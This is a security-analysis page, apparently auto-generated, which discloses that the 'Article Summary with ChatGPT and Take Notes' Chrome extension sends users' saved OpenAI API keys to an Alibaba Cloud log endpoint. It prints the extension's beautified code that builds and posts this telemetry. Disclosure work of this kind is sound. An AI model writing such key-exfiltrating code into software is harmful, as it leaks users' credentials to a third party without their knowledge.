Is Article Summary with ChatGPT and Take Notes safe?

High risk

Article Summary with ChatGPT and Take Notes sends saved OpenAI API keys to an Alibaba Cloud logging endpoint.

When a user saves an OpenAI API key in the extension's settings, the options page includes that key in telemetry sent to Alibaba Cloud logs. The same logging system also records content-script UI clicks with the current page URL, browser language, user agent, and a persistent anonymous user ID.

Castillo Richardv1.0.6Chrome Web Store
72Risk
Who publishes it

Castillo Richard - 1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Castillo Richard

Same store account

1 other listing published from this account, 2k+ users between them, none of them carrying a finding.

Coursera Summary with ChatGPT and Take Notes2k+Low

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

OpenAI API key sent to Alibaba Cloud when settings are saved

Saving an OpenAI API key in settings makes the options-page code build a telemetry event whose custom field holds that key, merged with an anonymous user ID, language, user agent, version, and URL, then posted to an Alibaba Cloud logstore.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You save settings after entering an OpenAI API key.

This happens on the extension's settings page when the save token button is clicked.

The extension did this

The extension sends a telemetry event that includes the entered key.

The event also includes browser context and a persistent anonymous user identifier before it is posted to Alibaba Cloud.

Fields assembled for the save-key telemetry event
  • OpenAI API key
    sk-proj-a1b2c3d4e5f6g7h8i9j0KLMNOPQRSTuvwxYZ1234567890abcdef (illustrative)

    This is a credential that can authorize paid or private OpenAI API use from your account or organization.

  • Save-key action name
    setting_click_save_apikey

    This labels the event as the moment when you saved an API key in the extension settings.

  • Persistent extension identifier
    7e9f0a2b4c6d8e10f12a34b56c78d90e (illustrative)

    This lets multiple extension events be tied back to the same browser profile over time.

  • Settings page URL
    chrome-extension://llkgpihjneoghmffllamjfhabmmcddfh/settings.html

    This shows that the event came from the extension settings page where the key was entered.

  • Browser context
    Chrome/126.0.6478.127; en-US (illustrative)

    This adds browser and language details to the same event as the credential.

Captured request
POSThttps://nc-dn-us.us-west-1.log.aliyuncs.com/logstores/extensions/track?APIVersion=0.6.0
The code that does this

The settings save handler copies the entered key into telemetry

Readable version

Beautified save-token click handler

extracted/javascripts/setting.js
function b() {    console.log("####\u89E6\u53D1saveTokenButton");    let u = document.getElementById("apiKeyInput");    u?.addEventListener("input", async () => {        var x;        (x = document.getElementById("apiKeyForm")) === null || x === void 0 || x.classList.remove("was-validated")    });    let v = document.getElementById("saveTokenButton");    v?.addEventListener("click", async () => {        let x = {            apiKey: u ? u.value : ""        };        G(Object.assign({            action_id: j.SETTING_CLICK_SAVE_APIKEY,            type: $.ACTION,            custom: x        }, H()));        var d;        let c = u?.value;        c && ((d = document.getElementById("apiKeyForm")) === null || d === void 0 || d.classList.add("was-validated"), await O(m.API_KEY), await async function(T) {            if (T) {                let E = await h();                E.apiKey = T, await k(E)            }        }(c))    })}

Beautified endpoint setup and event merge

extracted/javascripts/setting.js
var ee = null,    Ie = "us-west-1.log.aliyuncs.com",    Ce = "nc-dn-us",    Se = "extensions";var ke = {    host: Ie,    project: Ce,    logstore: Se,    time: 3,    count: 1};function Be() {    return ee === null && (ee = new re(ke)), ee}async function G(m) {    let t = await Le();    Be().send(Object.assign(t, m))}async function Le() {    let m = await ce(),        t = await ue(),        f = Ae.default.runtime.getManifest();    return {        product_mark: 64,        extension_name: "ng_article_summary",        anonymous_user_id: m,        created_at: Q(),        ext_version: f.version,        sign_up_at: t,        user_id: 0    }}

Beautified Aliyun sender

extracted/javascripts/setting.js
function ye(m, t) {    return navigator && navigator.sendBeacon ? navigator.sendBeacon(`${m}?APIVersion=0.6.0`, t) : !1}function _e(m, t) {    let f = new Blob([t], {        type: "application/x-protobuf"    });    fetch(m, {        method: "POST",        body: f,        headers: {            "x-log-apiversion": "0.6.0",            "x-log-bodyrawsize": t.length.toString()        }    })}function we(m, t) {    try {        ye(m, t) || _e(m, t)    } catch (f) {        console && typeof console.error == "function" && (console.error(`Failed to log to ali log service because of this exception:` + f), console.error("Failed log data:", m))    }}
External host reached by the save-key path
    • nc-dn-us.us-west-1.log.aliyuncs.com

    Alibaba Cloud Log Service endpoint receiving the extension telemetry event built by the settings page.

What it can do

Permissions this extension asks for, as declared in version 1.0.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Act on the current tab, but only after you click the extension

    activeTab

  • Run its own code inside the pages you visit

    scripting

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed Article Summary with ChatGPT and Take Notes contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • nc-dn-us.us-west-1.log.aliyuncs.com

    Article Summary with ChatGPT and Take Notes sends data to nc-dn-us.us-west-1.log.aliyuncs.com. 7 other extensions we have analysed send data here.

Updated 30 September 2026llkgpihjneoghmffllamjfhabmmcddfh